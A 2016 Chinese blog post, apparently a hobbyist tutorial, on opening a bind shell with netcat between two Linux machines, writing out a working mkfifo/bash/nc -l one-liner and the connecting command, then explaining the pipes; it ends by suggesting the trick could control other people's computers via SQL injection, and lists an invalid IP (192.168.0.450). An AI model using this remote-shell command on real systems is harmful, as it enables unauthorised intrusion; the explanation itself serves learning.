美文网首页
netcat 弹shell

netcat 弹shell

作者: 1b64efc60009 | 来源:发表于2016-12-03 22:23 被阅读147次

从名字来看net加个cat, 就感觉这个东西啊, excited!
如果能够远程在别人的电脑里下个nc再执行一段代码, 别人知道后是会很angery的.

假如我有两台都装了linux和nc的电脑A和B.

电脑A: ip 192.168.0.233

电脑B: ip 192.168.0.450

我闲着蛋疼想用nc从电脑B弹个shell给电脑A用假装自己用电脑A黑进了电脑B一样, 首先我在电脑B上装上openbsd-netcat然后打了这么一串高级的东西:

$ mkfifo /tmp/tf

$ cat /tmp/tf | bash -i 2>&1 | nc -l 1234 > /tmp/tf


然后再自己跑到电脑A前打了这么一串:

$ nc 192.168.0.450 1234

好神奇啊, 电脑A的屏幕上就会出现这样的东西(用127.0.0.1的原因嘛, 毕竟穷只有一台电脑没办法)

试一下看看能不能用:


真的能用诶!

解释一下发生了什么.

在电脑B上首先用mkfifo创建了一个特别的fifo文件tf. 这个文件可就厉害了, 他是 First Input First Output的缩写,先入先出队列,这是一种传统的按序执行方法,先进入的指令先完成并引退,跟着才执行第二条指令. 弹出来的shell能一条一条执行全都靠它.

再看看后面的一长串天书:

$ cat /tmp/tf | bash -i 2>&1 | nc -l 1234 > /tmp/tf

分开来看

1.首先输出tf的内容. 再把tf的内容作为输入传给bash.

2.这里bash后面的-i (interactive) 代表交互式地运行bash. 所谓交互式就是有来有往, 一条输入, 一条输出. 后面的2>&1 代表把标准错误(2)重定向到标准输(1)出上去, &是为了区分标准输出 1 和文件 1(如果有的话). 其实也就是把标准错误和标准输出合并在了一起.合并完后的命令的输出不仅有标准输出还有标准错误.

3.最后把bash 管道到nc里面. 这边nc就是一个服务器, 监听端口1234 并且把网络输入传回给tf.

整条命令形成了一个环. 一开始tf里面什么都没有, bash把prompt信息(被当作标准错误) 输出到与nc建立连接的电脑A. 等我跑到电脑A前输入ls的时候, ls作为电脑B上nc的输出传给了tf. tf把ls作为输出又传给了bash. bash解释ls, 把目录内容作为输入,输出到电脑B的nc上. 这样站在电脑A前的我就能看到输出啦.

除了bash, 别的shell做得到吗?

python

lua

如果能用sql注入或者别的什么办法在别人电脑上执行电脑B上的命令, 应该不用跑到其他电脑前就能控制整个shell了吧. 真是可喜可贺可喜可贺.


相关文章

  • netcat 弹shell

    从名字来看net加个cat, 就感觉这个东西啊, excited! 如果能够远程在别人的电脑里下个nc再执行一段代...

  • netcat反向shell

    利用在网络工具中有“瑞士军刀”美誉的NetCat实现反向shell 1.windows端下载netcat程序,加入...

  • linux 使用nc获取cmdshell

    0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点。 nc全称为netcat,所做的就是在两...

  • CentOS7下源代码安装netcat-0.7.1

    NetCat 0.7.1下载 NetCat-0.7.1的官网地址为:http://netcat.sourcefor...

  • 网络利器netcat

    netcat netcat具有“网络瑞士军刀“之称,支持从命令行跨网络读取和写入数据。 netcat 有 GNU ...

  • windows 下sparkstreaming或flink测试用

    下载并安装: 下载netcat(https://eternallybored.org/misc/netcat/...

  • window下使用nc

    步骤1:下载netcat,地址:https://eternallybored.org/misc/netcat/ 步...

  • Netcat实验两则

    好可惜前几日才接触Netcat,听闻Netcat有“瑞士军刀”之美称,出于好奇,做Netcat实验两个: 1.使用...

  • 安装Chocolatey

    复制以下命令在cmd窗口以管理员身份运行: 安装netcat 使用netcat:

  • netcat

    netcat是网络界的瑞士军刀,是一个用于TCP/UDP连接和监听的linux工具,主要用于网络传输及调试领域。n...

网友评论

      本文标题:netcat 弹shell

      本文链接:https://www.haomeiwen.com/subject/sbicmttx.html